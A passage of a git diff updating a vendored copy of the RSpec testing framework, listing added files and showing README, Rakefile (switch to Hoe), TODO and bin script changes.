+examples/stories/game-of-life/behaviour/examples/grid_behaviour.rb
+examples/stories/game-of-life/behaviour/stories/CellsWithLessThanTwoNeighboursDie.story
+examples/stories/game-of-life/behaviour/stories/CellsWithMoreThanThreeNeighboursDie.story
+examples/stories/game-of-life/behaviour/stories/EmptySpacesWithThreeNeighboursCreateACell.story
+examples/stories/game-of-life/behaviour/stories/ICanCreateACell.story
+examples/stories/game-of-life/behaviour/stories/ICanKillACell.story
+examples/stories/game-of-life/behaviour/stories/TheGridWraps.story
+examples/stories/game-of-life/behaviour/stories/create_a_cell.rb
+examples/stories/game-of-life/behaviour/stories/helper.rb
+examples/stories/game-of-life/behaviour/stories/kill_a_cell.rb
+examples/stories/game-of-life/behaviour/stories/steps.rb
+examples/stories/game-of-life/behaviour/stories/stories.rb
+examples/stories/game-of-life/behaviour/stories/stories.txt
+examples/stories/game-of-life/life.rb
+examples/stories/game-of-life/life/game.rb
+examples/stories/game-of-life/life/grid.rb
+examples/stories/helper.rb
+examples/stories/steps/addition_steps.rb
+failing_examples/README.txt
+failing_examples/diffing_spec.rb
+failing_examples/failing_autogenerated_docstrings_example.rb
+failing_examples/failure_in_setup.rb
+failing_examples/failure_in_teardown.rb
+failing_examples/mocking_example.rb
+failing_examples/mocking_with_flexmock.rb
+failing_examples/mocking_with_mocha.rb
+failing_examples/mocking_with_rr.rb
+failing_examples/partial_mock_example.rb
+failing_examples/predicate_example.rb
+failing_examples/raising_example.rb
+failing_examples/spec_helper.rb
+failing_examples/syntax_error_example.rb
+failing_examples/team_spec.rb
+failing_examples/timeout_behaviour.rb
+init.rb
+lib/autotest/discover.rb
+lib/autotest/rspec.rb
+lib/spec.rb
+lib/spec/adapters.rb
+lib/spec/adapters/ruby_engine.rb
+lib/spec/adapters/ruby_engine/mri.rb
+lib/spec/adapters/ruby_engine/rubinius.rb
+lib/spec/example.rb
+lib/spec/example/configuration.rb
+lib/spec/example/errors.rb
+lib/spec/example/example_group.rb
+lib/spec/example/example_group_factory.rb
+lib/spec/example/example_group_methods.rb
+lib/spec/example/example_matcher.rb
+lib/spec/example/example_methods.rb
+lib/spec/example/module_inclusion_warnings.rb
+lib/spec/example/module_reopening_fix.rb
+lib/spec/example/pending.rb
+lib/spec/example/shared_example_group.rb
+lib/spec/expectations.rb
+lib/spec/expectations/differs/default.rb
+lib/spec/expectations/errors.rb
+lib/spec/expectations/extensions.rb
+lib/spec/expectations/extensions/object.rb
+lib/spec/expectations/extensions/string_and_symbol.rb
+lib/spec/expectations/handler.rb
+lib/spec/extensions.rb
+lib/spec/extensions/class.rb
+lib/spec/extensions/main.rb
+lib/spec/extensions/metaclass.rb
+lib/spec/extensions/object.rb
+lib/spec/interop/test.rb
+lib/spec/interop/test/unit/autorunner.rb
+lib/spec/interop/test/unit/testcase.rb
+lib/spec/interop/test/unit/testresult.rb
+lib/spec/interop/test/unit/testsuite_adapter.rb
+lib/spec/interop/test/unit/ui/console/testrunner.rb
+lib/spec/matchers.rb
+lib/spec/matchers/be.rb
+lib/spec/matchers/be_close.rb
+lib/spec/matchers/change.rb
+lib/spec/matchers/eql.rb
+lib/spec/matchers/equal.rb
+lib/spec/matchers/exist.rb
+lib/spec/matchers/has.rb
+lib/spec/matchers/have.rb
+lib/spec/matchers/include.rb
+lib/spec/matchers/match.rb
+lib/spec/matchers/operator_matcher.rb
+lib/spec/matchers/raise_error.rb
+lib/spec/matchers/respond_to.rb
+lib/spec/matchers/satisfy.rb
+lib/spec/matchers/simple_matcher.rb
+lib/spec/matchers/throw_symbol.rb
+lib/spec/mocks.rb
+lib/spec/mocks/argument_constraints.rb
+lib/spec/mocks/argument_expectation.rb
+lib/spec/mocks/error_generator.rb
+lib/spec/mocks/errors.rb
+lib/spec/mocks/extensions.rb
+lib/spec/mocks/extensions/object.rb
+lib/spec/mocks/framework.rb
+lib/spec/mocks/message_expectation.rb
+lib/spec/mocks/methods.rb
+lib/spec/mocks/mock.rb
+lib/spec/mocks/order_group.rb
+lib/spec/mocks/proxy.rb
+lib/spec/mocks/space.rb
+lib/spec/mocks/spec_methods.rb
+lib/spec/rake/spectask.rb
+lib/spec/rake/verify_rcov.rb
+lib/spec/runner.rb
+lib/spec/runner/backtrace_tweaker.rb
+lib/spec/runner/class_and_arguments_parser.rb
+lib/spec/runner/command_line.rb
+lib/spec/runner/drb_command_line.rb
+lib/spec/runner/example_group_runner.rb
+lib/spec/runner/formatter/base_formatter.rb
+lib/spec/runner/formatter/base_text_formatter.rb
+lib/spec/runner/formatter/failing_example_groups_formatter.rb
+lib/spec/runner/formatter/failing_examples_formatter.rb
+lib/spec/runner/formatter/html_formatter.rb
+lib/spec/runner/formatter/nested_text_formatter.rb
+lib/spec/runner/formatter/profile_formatter.rb
+lib/spec/runner/formatter/progress_bar_formatter.rb
+lib/spec/runner/formatter/snippet_extractor.rb
+lib/spec/runner/formatter/specdoc_formatter.rb
+lib/spec/runner/formatter/story/html_formatter.rb
+lib/spec/runner/formatter/story/plain_text_formatter.rb
+lib/spec/runner/formatter/story/progress_bar_formatter.rb
+lib/spec/runner/formatter/text_mate_formatter.rb
+lib/spec/runner/heckle_runner.rb
+lib/spec/runner/heckle_runner_unsupported.rb
+lib/spec/runner/option_parser.rb
+lib/spec/runner/options.rb
+lib/spec/runner/reporter.rb
+lib/spec/runner/spec_parser.rb
+lib/spec/story.rb
+lib/spec/story/extensions.rb
+lib/spec/story/extensions/main.rb
+lib/spec/story/extensions/regexp.rb
+lib/spec/story/extensions/string.rb
+lib/spec/story/given_scenario.rb
+lib/spec/story/runner.rb
+lib/spec/story/runner/plain_text_story_runner.rb
+lib/spec/story/runner/scenario_collector.rb
+lib/spec/story/runner/scenario_runner.rb
+lib/spec/story/runner/story_mediator.rb
+lib/spec/story/runner/story_parser.rb
+lib/spec/story/runner/story_runner.rb
+lib/spec/story/scenario.rb
+lib/spec/story/step.rb
+lib/spec/story/step_group.rb
+lib/spec/story/step_mother.rb
+lib/spec/story/story.rb
+lib/spec/story/world.rb
+lib/spec/version.rb
+plugins/mock_frameworks/flexmock.rb
+plugins/mock_frameworks/mocha.rb
+plugins/mock_frameworks/rr.rb
+plugins/mock_frameworks/rspec.rb
+rake_tasks/examples.rake
+rake_tasks/examples_with_rcov.rake
+rake_tasks/failing_examples_with_html.rake
+rake_tasks/verify_rcov.rake
+rspec.gemspec
+spec/README.jruby
+spec/autotest/autotest_helper.rb
+spec/autotest/autotest_matchers.rb
+spec/autotest/discover_spec.rb
+spec/autotest/rspec_spec.rb
+spec/rspec_suite.rb
+spec/ruby_forker.rb
+spec/spec.opts
+spec/spec/adapters/ruby_engine_spec.rb
+spec/spec/example/configuration_spec.rb
+spec/spec/example/example_group/described_module_spec.rb
+spec/spec/example/example_group/warning_messages_spec.rb
+spec/spec/example/example_group_class_definition_spec.rb
+spec/spec/example/example_group_factory_spec.rb
+spec/spec/example/example_group_methods_spec.rb
+spec/spec/example/example_group_spec.rb
+spec/spec/example/example_matcher_spec.rb
+spec/spec/example/example_methods_spec.rb
+spec/spec/example/example_runner_spec.rb
+spec/spec/example/nested_example_group_spec.rb
+spec/spec/example/pending_module_spec.rb
+spec/spec/example/predicate_matcher_spec.rb
+spec/spec/example/shared_example_group_spec.rb
+spec/spec/example/subclassing_example_group_spec.rb
+spec/spec/expectations/differs/default_spec.rb
+spec/spec/expectations/extensions/object_spec.rb
+spec/spec/expectations/fail_with_spec.rb
+spec/spec/extensions/main_spec.rb
+spec/spec/interop/test/unit/resources/spec_that_fails.rb
+spec/spec/interop/test/unit/resources/spec_that_passes.rb
+spec/spec/interop/test/unit/resources/spec_with_errors.rb
+spec/spec/interop/test/unit/resources/test_case_that_fails.rb
+spec/spec/interop/test/unit/resources/test_case_that_passes.rb
+spec/spec/interop/test/unit/resources/test_case_with_errors.rb
+spec/spec/interop/test/unit/resources/testsuite_adapter_spec_with_test_unit.rb
+spec/spec/interop/test/unit/spec_spec.rb
+spec/spec/interop/test/unit/test_unit_spec_helper.rb
+spec/spec/interop/test/unit/testcase_spec.rb
+spec/spec/interop/test/unit/testsuite_adapter_spec.rb
+spec/spec/matchers/be_close_spec.rb
+spec/spec/matchers/be_spec.rb
+spec/spec/matchers/change_spec.rb
+spec/spec/matchers/description_generation_spec.rb
+spec/spec/matchers/eql_spec.rb
+spec/spec/matchers/equal_spec.rb
+spec/spec/matchers/exist_spec.rb
+spec/spec/matchers/handler_spec.rb
+spec/spec/matchers/has_spec.rb
+spec/spec/matchers/have_spec.rb
+spec/spec/matchers/include_spec.rb
+spec/spec/matchers/match_spec.rb
+spec/spec/matchers/matcher_methods_spec.rb
+spec/spec/matchers/mock_constraint_matchers_spec.rb
+spec/spec/matchers/operator_matcher_spec.rb
+spec/spec/matchers/raise_error_spec.rb
+spec/spec/matchers/respond_to_spec.rb
+spec/spec/matchers/satisfy_spec.rb
+spec/spec/matchers/simple_matcher_spec.rb
+spec/spec/matchers/throw_symbol_spec.rb
+spec/spec/mocks/any_number_of_times_spec.rb
+spec/spec/mocks/argument_expectation_spec.rb
+spec/spec/mocks/at_least_spec.rb
+spec/spec/mocks/at_most_spec.rb
+spec/spec/mocks/bug_report_10260_spec.rb
+spec/spec/mocks/bug_report_10263_spec.rb
+spec/spec/mocks/bug_report_11545_spec.rb
+spec/spec/mocks/bug_report_15719_spec.rb
+spec/spec/mocks/bug_report_496.rb
+spec/spec/mocks/bug_report_7611_spec.rb
+spec/spec/mocks/bug_report_7805_spec.rb
+spec/spec/mocks/bug_report_8165_spec.rb
+spec/spec/mocks/bug_report_8302_spec.rb
+spec/spec/mocks/failing_mock_argument_constraints_spec.rb
+spec/spec/mocks/hash_including_matcher_spec.rb
+spec/spec/mocks/mock_ordering_spec.rb
+spec/spec/mocks/mock_space_spec.rb
+spec/spec/mocks/mock_spec.rb
+spec/spec/mocks/multiple_return_value_spec.rb
+spec/spec/mocks/nil_expectation_warning_spec.rb
+spec/spec/mocks/null_object_mock_spec.rb
+spec/spec/mocks/once_counts_spec.rb
+spec/spec/mocks/options_hash_spec.rb
+spec/spec/mocks/partial_mock_spec.rb
+spec/spec/mocks/partial_mock_using_mocks_directly_spec.rb
+spec/spec/mocks/passing_mock_argument_constraints_spec.rb
+spec/spec/mocks/precise_counts_spec.rb
+spec/spec/mocks/record_messages_spec.rb
+spec/spec/mocks/stub_spec.rb
+spec/spec/mocks/twice_counts_spec.rb
+spec/spec/package/bin_spec_spec.rb
+spec/spec/runner/class_and_argument_parser_spec.rb
+spec/spec/runner/command_line_spec.rb
+spec/spec/runner/drb_command_line_spec.rb
+spec/spec/runner/empty_file.txt
+spec/spec/runner/examples.txt
+spec/spec/runner/failed.txt
+spec/spec/runner/formatter/base_formatter_spec.rb
+spec/spec/runner/formatter/failing_example_groups_formatter_spec.rb
+spec/spec/runner/formatter/failing_examples_formatter_spec.rb
+spec/spec/runner/formatter/html_formatted-1.8.4.html
+spec/spec/runner/formatter/html_formatted-1.8.5-jruby.html
+spec/spec/runner/formatter/html_formatted-1.8.5.html
+spec/spec/runner/formatter/html_formatted-1.8.6-jruby.html
+spec/spec/runner/formatter/html_formatted-1.8.6.html
+spec/spec/runner/formatter/html_formatter_spec.rb
+spec/spec/runner/formatter/nested_text_formatter_spec.rb
+spec/spec/runner/formatter/profile_formatter_spec.rb
+spec/spec/runner/formatter/progress_bar_formatter_spec.rb
+spec/spec/runner/formatter/snippet_extractor_spec.rb
+spec/spec/runner/formatter/spec_mate_formatter_spec.rb
+spec/spec/runner/formatter/specdoc_formatter_spec.rb
+spec/spec/runner/formatter/story/html_formatter_spec.rb
+spec/spec/runner/formatter/story/plain_text_formatter_spec.rb
+spec/spec/runner/formatter/story/progress_bar_formatter_spec.rb
+spec/spec/runner/formatter/text_mate_formatted-1.8.4.html
+spec/spec/runner/formatter/text_mate_formatted-1.8.6.html
+spec/spec/runner/heckle_runner_spec.rb
+spec/spec/runner/heckler_spec.rb
+spec/spec/runner/noisy_backtrace_tweaker_spec.rb
+spec/spec/runner/option_parser_spec.rb
+spec/spec/runner/options_spec.rb
+spec/spec/runner/output_one_time_fixture.rb
+spec/spec/runner/output_one_time_fixture_runner.rb
+spec/spec/runner/output_one_time_spec.rb
+spec/spec/runner/quiet_backtrace_tweaker_spec.rb
+spec/spec/runner/reporter_spec.rb
+spec/spec/runner/resources/a_bar.rb
+spec/spec/runner/resources/a_foo.rb
+spec/spec/runner/resources/a_spec.rb
+spec/spec/runner/spec.opts
+spec/spec/runner/spec_drb.opts
+spec/spec/runner/spec_parser/spec_parser_fixture.rb
+spec/spec/runner/spec_parser_spec.rb
+spec/spec/runner/spec_spaced.opts
+spec/spec/runner_spec.rb
+spec/spec/spec_classes.rb
+spec/spec/story/builders.rb
+spec/spec/story/extensions/main_spec.rb
+spec/spec/story/extensions_spec.rb
+spec/spec/story/given_scenario_spec.rb
+spec/spec/story/runner/plain_text_story_runner_spec.rb
+spec/spec/story/runner/scenario_collector_spec.rb
+spec/spec/story/runner/scenario_runner_spec.rb
+spec/spec/story/runner/story_mediator_spec.rb
+spec/spec/story/runner/story_parser_spec.rb
+spec/spec/story/runner/story_runner_spec.rb
+spec/spec/story/runner_spec.rb
+spec/spec/story/scenario_spec.rb
+spec/spec/story/step_group_spec.rb
+spec/spec/story/step_mother_spec.rb
+spec/spec/story/step_spec.rb
+spec/spec/story/story_helper.rb
+spec/spec/story/story_spec.rb
+spec/spec/story/world_spec.rb
+spec/spec_helper.rb
+stories/all.rb
+stories/configuration/before_blocks.story
+stories/configuration/stories.rb
+stories/example_groups/autogenerated_docstrings
+stories/example_groups/example_group_with_should_methods
+stories/example_groups/nested_groups
+stories/example_groups/output
+stories/example_groups/stories.rb
+stories/helper.rb
+stories/interop/examples_and_tests_together
+stories/interop/stories.rb
+stories/interop/test_case_with_should_methods
+stories/mock_framework_integration/stories.rb
+stories/mock_framework_integration/use_flexmock.story
+stories/pending_stories/README
+stories/resources/helpers/cmdline.rb
+stories/resources/helpers/story_helper.rb
+stories/resources/matchers/smart_match.rb
+stories/resources/spec/before_blocks_example.rb
+stories/resources/spec/example_group_with_should_methods.rb
+stories/resources/spec/simple_spec.rb
+stories/resources/spec/spec_with_flexmock.rb
+stories/resources/steps/running_rspec.rb
+stories/resources/stories/failing_story.rb
+stories/resources/test/spec_and_test_together.rb
+stories/resources/test/test_case_with_should_methods.rb
+stories/stories/multiline_steps.story
+stories/stories/steps/multiline_steps.rb
+stories/stories/stories.rb
+story_server/prototype/javascripts/builder.js
+story_server/prototype/javascripts/controls.js
+story_server/prototype/javascripts/dragdrop.js
+story_server/prototype/javascripts/effects.js
+story_server/prototype/javascripts/prototype.js
+story_server/prototype/javascripts/rspec.js
+story_server/prototype/javascripts/scriptaculous.js
+story_server/prototype/javascripts/slider.js
+story_server/prototype/javascripts/sound.js
+story_server/prototype/javascripts/unittest.js
+story_server/prototype/lib/server.rb
+story_server/prototype/stories.html
+story_server/prototype/stylesheets/rspec.css
+story_server/prototype/stylesheets/test.css
diff --git a/vendor/plugins/rspec/README b/vendor/plugins/rspec/README
deleted file mode 100644
index a532dca9..00000000
--- a/vendor/plugins/rspec/README
+++ /dev/null
@@ -1,36 +0,0 @@
-== RSpec
-
-RSpec is a Behaviour Driven Development framework with tools to express User Stories
-with Executable Scenarios and Executable Examples at the code level.
-
-RSpec ships with several modules:
-
-Spec::Story provides a framework for expressing User Stories and Scenarios
-
-Spec::Example provides a framework for expressing Isolated Examples
-
-Spec::Matchers provides Expression Matchers for use with Spec::Expectations
-and Spec::Mocks.
-
-Spec::Expectations supports setting expectations on your objects so you
-can do things like:
-
- result.should equal(expected_result)
-
-Spec::Mocks supports creating Mock Objects, Stubs, and adding Mock/Stub
-behaviour to your existing objects.
-
-== Installation
-
-The simplest approach is to install the gem (as root in some environments):
-
- gem install -r rspec
-
-== Building the RSpec gem
-
-If you prefer to build the gem locally:
-
- git clone git://github.com/dchelimsky/rspec.git
- cd rspec
- rake gem
- gem install pkg/rspec-0.x.x.gem #as root
diff --git a/vendor/plugins/rspec/README.txt b/vendor/plugins/rspec/README.txt
new file mode 100644
index 00000000..e9595151
--- /dev/null
+++ b/vendor/plugins/rspec/README.txt
@@ -0,0 +1,39 @@
+= RSpec
+
+* http://rspec.info
+* http://rspec.info/rdoc/
+* http://rubyforge.org/projects/rspec
+* http://github.com/dchelimsky/rspec/wikis
+* mailto:rspec-devel@rubyforge.org
+
+== DESCRIPTION:
+
+RSpec is a Behaviour Driven Development framework with tools to express User
+Stories with Executable Scenarios and Executable Examples at the code level.
+
+== FEATURES:
+
+* Spec::Story provides a framework for expressing User Stories and Scenarios
+* Spec::Example provides a framework for expressing Isolated Examples
+* Spec::Matchers provides Expression Matchers for use with Spec::Expectations and Spec::Mocks.
+
+== SYNOPSIS:
+
+Spec::Expectations supports setting expectations on your objects so you
+can do things like:
+
+ result.should equal(expected_result)
+
+Spec::Mocks supports creating Mock Objects, Stubs, and adding Mock/Stub
+behaviour to your existing objects.
+
+== INSTALL:
+
+ [sudo] gem install rspec
+
+ or
+
+ git clone git://github.com/dchelimsky/rspec.git
+ cd rspec
+ rake gem
+ rake install_gem
diff --git a/vendor/plugins/rspec/Rakefile b/vendor/plugins/rspec/Rakefile
index 797e0424..be87d3d9 100644
--- a/vendor/plugins/rspec/Rakefile
+++ b/vendor/plugins/rspec/Rakefile
@@ -1,105 +1,61 @@
-$:.unshift('lib')
-require 'rubygems'
-require 'rake/gempackagetask'
-require 'rake/contrib/rubyforgepublisher'
-require 'rake/clean'
-require 'rake/rdoctask'
-require 'rake/testtask'
-require 'spec/version'
-dir = File.dirname(__FILE__)
+# -*- ruby -*-
-# Some of the tasks are in separate files since they are also part of the website documentation
+$:.unshift(File.join(File.dirname(__FILE__), 'lib'))
+require 'rubygems'
+require 'hoe'
+require 'spec/version'
+require 'spec/rake/spectask'
+
+class Hoe
+ def extra_deps
+ @extra_deps.reject! { |x| Array(x).first == 'hoe' }
+ @extra_deps
+ end
+end
+
+Hoe.new('rspec', Spec::VERSION::STRING) do |p|
+ p.summary = Spec::VERSION::SUMMARY
+ p.url = 'http://rspec.info/'
+ p.description = "Behaviour Driven Development for Ruby."
+ p.rubyforge_name = 'rspec'
+ p.extra_dev_deps = ['diff-lcs',['spicycode-rcov','>= 0.8.1.3'],'syntax']
+ p.developer('RSpec Development Team', 'rspec-devel@rubyforge.org')
+ p.remote_rdoc_dir = "rspec/#{Spec::VERSION::STRING}"
+end
+
+['audit','test','test_deps','default','post_blog'].each do |task|
+ Rake.application.instance_variable_get('@tasks').delete(task)
+end
+
+task :verify_rcov => [:spec, :stories]
+task :default => :verify_rcov
+
+# # Some of the tasks are in separate files since they are also part of the website documentation
load File.dirname(__FILE__) + '/rake_tasks/examples.rake'
load File.dirname(__FILE__) + '/rake_tasks/examples_with_rcov.rake'
load File.dirname(__FILE__) + '/rake_tasks/failing_examples_with_html.rake'
load File.dirname(__FILE__) + '/rake_tasks/verify_rcov.rake'
-PKG_NAME = "rspec"
-PKG_VERSION = Spec::VERSION::STRING
-PKG_FILE_NAME = "#{PKG_NAME}-#{PKG_VERSION}"
-PKG_FILES = FileList[
- '[A-Z]*',
- 'lib/**/*.rb',
- 'spec/**/*',
- 'examples/**/*',
- 'failing_examples/**/*',
- 'plugins/**/*',
- 'stories/**/*',
- 'rake_tasks/**/*'
-]
-
-task :default => [:verify_rcov]
-task :verify_rcov => [:spec, :stories]
-
desc "Run all specs"
Spec::Rake::SpecTask.new do |t|
t.spec_files = FileList['spec/**/*_spec.rb']
t.spec_opts = ['--options', 'spec/spec.opts']
unless ENV['NO_RCOV']
t.rcov = true
- t.rcov_dir = '../doc/output/coverage'
- t.rcov_opts = ['--exclude', 'lib/spec.rb,lib/spec/runner.rb,spec\/spec,bin\/spec,examples,\/var\/lib\/gems,\/Library\/Ruby,\.autotest']
+ t.rcov_dir = 'coverage'
+ t.rcov_opts = ['--exclude', "lib/spec.rb,lib/spec/runner.rb,spec\/spec,bin\/spec,examples,\/var\/lib\/gems,\/Library\/Ruby,\.autotest,#{ENV['GEM_HOME']}"]
end
end
desc "Run all stories"
task :stories do
- html = 'story_server/prototype/rspec_stories.html'
- ruby "stories/all.rb --colour --format plain --format html:#{html}"
- unless IO.read(html) =~ //m
- raise 'highlighted parameters are broken in story HTML'
- end
+ ruby "stories/all.rb --colour --format plain"
end
-desc "Run all specs and store html output in doc/output/report.html"
-Spec::Rake::SpecTask.new('spec_html') do |t|
- t.spec_files = FileList['spec/**/*_spec.rb']
- t.spec_opts = ['--format html:../../../../doc/output/report.html', '--format progress','--backtrace']
-end
-
-desc "Run all failing examples"
+desc "Run failing examples (see failure output)"
Spec::Rake::SpecTask.new('failing_examples') do |t|
t.spec_files = FileList['failing_examples/**/*_spec.rb']
-end
-
-desc 'Generate RDoc'
-rd = Rake::RDocTask.new do |rdoc|
- rdoc.rdoc_dir = '../doc/output/rdoc'
- rdoc.options << '--title' << 'RSpec' << '--line-numbers' << '--inline-source' << '--main' << 'README'
- rdoc.rdoc_files.include('README', 'CHANGES', 'MIT-LICENSE', 'UPGRADE', 'lib/**/*.rb')
-end
-
-spec = Gem::Specification.new do |s|
- s.name = PKG_NAME
- s.version = PKG_VERSION
- s.summary = Spec::VERSION::DESCRIPTION
- s.description = <<-EOF
- RSpec is a behaviour driven development (BDD) framework for Ruby. RSpec was
- created in response to Dave Astels' article _A New Look at Test Driven Development_
- which can be read at: http://daveastels.com/index.php?p=5 RSpec is intended to
- provide the features discussed in Dave's article.
- EOF
-
- s.files = PKG_FILES.to_a
- s.require_path = 'lib'
-
- s.has_rdoc = true
- s.rdoc_options = rd.options
- s.extra_rdoc_files = rd.rdoc_files.reject { |fn| fn =~ /\.rb$|^EXAMPLES.rd$/ }.to_a
-
- s.bindir = 'bin'
- s.executables = ['spec', 'spec_translator']
- s.default_executable = 'spec'
- s.author = "RSpec Development Team"
- s.email = "rspec-devel@rubyforge.org"
- s.homepage = "http://rspec.rubyforge.org"
- s.platform = Gem::Platform::RUBY
- s.rubyforge_project = "rspec"
-end
-
-Rake::GemPackageTask.new(spec) do |pkg|
- pkg.need_zip = true
- pkg.need_tar = true
+ t.spec_opts = ['--options', 'spec/spec.opts']
end
def egrep(pattern)
@@ -121,7 +77,8 @@ task :todo do
egrep /(FIXME|TODO|TBD)/
end
-task :release => [:verify_committed, :verify_user, :spec, :publish_packages, :tag, :publish_news]
+desc "verify_committed, verify_rcov, post_news, release"
+task :complete_release => [:verify_committed, :verify_rcov, :post_news, :release]
desc "Verifies that there is no uncommitted code"
task :verify_committed do
@@ -130,133 +87,4 @@ task :verify_committed do
raise "\n!!! Do a git commit first !!!\n\n" if line =~ /^#\s*modified:/
end
end
-end
-
-desc "Creates a tag in svn"
-task :tag do
- # from = `svn info #{File.dirname(__FILE__)}`.match(/URL: (.*)\/rspec/n)[1]
- # to = from.gsub(/trunk/, "tags/#{Spec::VERSION::TAG}")
- # current = from.gsub(/trunk/, "tags/CURRENT")
- #
- # puts "Creating tag in SVN"
- # tag_cmd = "svn cp #{from} #{to} -m \"Tag release #{Spec::VERSION::FULL_VERSION}\""
- # `#{tag_cmd}` ; raise "ERROR: #{tag_cmd}" unless $? == 0
- #
- # puts "Removing CURRENT"
- # remove_current_cmd = "svn rm #{current} -m \"Remove tags/CURRENT\""
- # `#{remove_current_cmd}` ; raise "ERROR: #{remove_current_cmd}" unless $? == 0
- #
- # puts "Re-Creating CURRENT"
- # create_current_cmd = "svn cp #{to} #{current} -m \"Copy #{Spec::VERSION::TAG} to tags/CURRENT\""
- # `#{create_current_cmd}` ; "ERROR: #{create_current_cmd}" unless $? == 0
-end
-
-task :verify_user do
- raise "RUBYFORGE_USER environment variable not set!" unless ENV['RUBYFORGE_USER']
-end
-
-desc "Upload Website to RubyForge"
-task :publish_website => [:verify_user, :website] do
- unless Spec::VERSION::RELEASE_CANDIDATE
- publisher = Rake::SshDirPublisher.new(
- "rspec-website@rubyforge.org",
- "/var/www/gforge-projects/#{PKG_NAME}",
- "../doc/output"
- )
- publisher.upload
- else
- puts "** Not publishing packages to RubyForge - this is a prerelease"
- end
-end
-
-desc "Upload Website archive to RubyForge"
-task :archive_website => [:verify_user, :website] do
- publisher = Rake::SshDirPublisher.new(
- "rspec-website@rubyforge.org",
- "/var/www/gforge-projects/#{PKG_NAME}/#{Spec::VERSION::TAG}",
- "../doc/output"
- )
- publisher.upload
-end
-
-desc "Package the Rails plugin"
-task :package_rspec_on_rails do
- mkdir 'pkg' rescue nil
- rm_rf "pkg/rspec-rails-#{PKG_VERSION}" rescue nil
- `git clone ../rspec-rails pkg/rspec-rails-#{PKG_VERSION}`
- rm_rf "pkg/rspec-rails-#{PKG_VERSION}/.git"
- Dir.chdir 'pkg' do
- `tar cvzf rspec-rails-#{PKG_VERSION}.tgz rspec-rails-#{PKG_VERSION}`
- end
-end
-task :pkg => :package_rspec_on_rails
-
-desc "Package the RSpec.tmbundle"
-task :package_tmbundle do
- mkdir 'pkg' rescue nil
- rm_rf "pkg/RSpec-#{PKG_VERSION}.tmbundle" rescue nil
- `git clone ../../../../RSpec.tmbundle pkg/RSpec-#{PKG_VERSION}.tmbundle`
- rm_rf "pkg/RSpec-#{PKG_VERSION}.tmbundle/.git"
- Dir.chdir 'pkg' do
- `tar cvzf RSpec-#{PKG_VERSION}.tmbundle.tgz RSpec-#{PKG_VERSION}.tmbundle`
- end
-end
-task :pkg => :package_tmbundle
-
-desc "Publish gem+tgz+zip on RubyForge. You must make sure lib/version.rb is aligned with the CHANGELOG file"
-task :publish_packages => [:verify_user, :package, :pkg] do
- release_files = FileList[
- "pkg/#{PKG_FILE_NAME}.gem",
- "pkg/#{PKG_FILE_NAME}.tgz",
- "pkg/rspec-rails-#{PKG_VERSION}.tgz",
- "pkg/#{PKG_FILE_NAME}.zip",
- "pkg/RSpec-#{PKG_VERSION}.tmbundle.tgz"
- ]
- unless Spec::VERSION::RELEASE_CANDIDATE
- require 'meta_project'
- require 'rake/contrib/xforge'
-
- Rake::XForge::Release.new(MetaProject::Project::XForge::RubyForge.new(PKG_NAME)) do |xf|
- # Never hardcode user name and password in the Rakefile!
- xf.user_name = ENV['RUBYFORGE_USER']
- xf.files = release_files.to_a
- xf.release_name = "RSpec #{PKG_VERSION}"
- end
- else
- puts "SINCE THIS IS A PRERELEASE, FILES ARE UPLOADED WITH SSH, NOT TO THE RUBYFORGE FILE SECTION"
- puts "YOU MUST TYPE THE PASSWORD #{release_files.length} TIMES..."
-
- host = "rspec-website@rubyforge.org"
- remote_dir = "/var/www/gforge-projects/#{PKG_NAME}"
-
- publisher = Rake::SshFilePublisher.new(
- host,
- remote_dir,
- File.dirname(__FILE__),
- *release_files
- )
- publisher.upload
-
- puts "UPLADED THE FOLLOWING FILES:"
- release_files.each do |file|
- name = file.match(/pkg\/(.*)/)[1]
- puts "* http://rspec.rubyforge.org/#{name}"
- end
-
- puts "They are not linked to anywhere, so don't forget to tell people!"
- end
-end
-
-desc "Publish news on RubyForge"
-task :publish_news => [:verify_user] do
- unless Spec::VERSION::RELEASE_CANDIDATE
- require 'meta_project'
- require 'rake/contrib/xforge'
- Rake::XForge::NewsPublisher.new(MetaProject::Project::XForge::RubyForge.new(PKG_NAME)) do |news|
- # Never hardcode user name and password in the Rakefile!
- news.user_name = ENV['RUBYFORGE_USER']
- end
- else
- puts "** Not publishing news to RubyForge - this is a prerelease"
- end
end
\ No newline at end of file
diff --git a/vendor/plugins/rspec/TODO b/vendor/plugins/rspec/TODO
deleted file mode 100644
index 8b137891..00000000
--- a/vendor/plugins/rspec/TODO
+++ /dev/null
@@ -1 +0,0 @@
-
diff --git a/vendor/plugins/rspec/TODO.txt b/vendor/plugins/rspec/TODO.txt
new file mode 100644
index 00000000..ae5a2302
--- /dev/null
+++ b/vendor/plugins/rspec/TODO.txt
@@ -0,0 +1,10 @@
+== Future
+
+* do SOMETHING with the website
+* extract spec/story to rspec-stories (new gem)
+* remove the ruby engine adapter unless Rubinius team plans to use it
+* rename top level namespace to Rspec and commands to 'rspec' and 'autorspec'
+ * continue to support Spec 'spec' and 'autospec' as aliases for a reasonable time
+* separate the underlying framework from the DSL
+ * be able to do everything with classes and methods
+* tweak raise_error rdoc to show only one arg
\ No newline at end of file
diff --git a/vendor/plugins/rspec/bin/autospec b/vendor/plugins/rspec/bin/autospec
new file mode 100755
index 00000000..82a314f1
--- /dev/null
+++ b/vendor/plugins/rspec/bin/autospec
@@ -0,0 +1,4 @@
+#!/usr/bin/env ruby
+ENV['RSPEC'] = 'true' # allows autotest to discover rspec
+ENV['AUTOTEST'] = 'true' # allows autotest to run w/ color on linux
+system (RUBY_PLATFORM =~ /mswin|mingw/ ? 'autotest.bat' : 'autotest'), *ARGV
\ No newline at end of file
diff --git a/vendor/plugins/rspec/bin/spec b/vendor/plugins/rspec/bin/spec
index 283176d7..a4b6e47b 100755
--- a/vendor/plugins/rspec/bin/spec
+++ b/vendor/plugins/rspec/bin/spec
@@ -1,4 +1,4 @@
#!/usr/bin/env ruby
$LOAD_PATH.unshift(File.expand_path(File.dirname(__FILE__) + "/../lib"))
require 'spec'
-exit ::Spec::Runner::CommandLine.run(rspec_options)
+exit ::Spec::Runner::CommandLine.run
diff --git a/vendor/plugins/rspec/bin/spec_translator b/vendor/plugins/rspec/bin/spec_translator
deleted file mode 100755
index abd50b74..00000000
--- a/vendor/plugins/rspec/bin/spec_translator
+++ /dev/null
@@ -1,8 +0,0 @@
-#!/usr/bin/env ruby
-raise "\n\nUsage: spec_translator from_dir to_dir\n\n" if ARGV.size != 2
-$LOAD_PATH.unshift(File.expand_path(File.dirname(__FILE__) + "/../lib"))
-require 'spec/translator'
-t = ::Spec::Translator.new
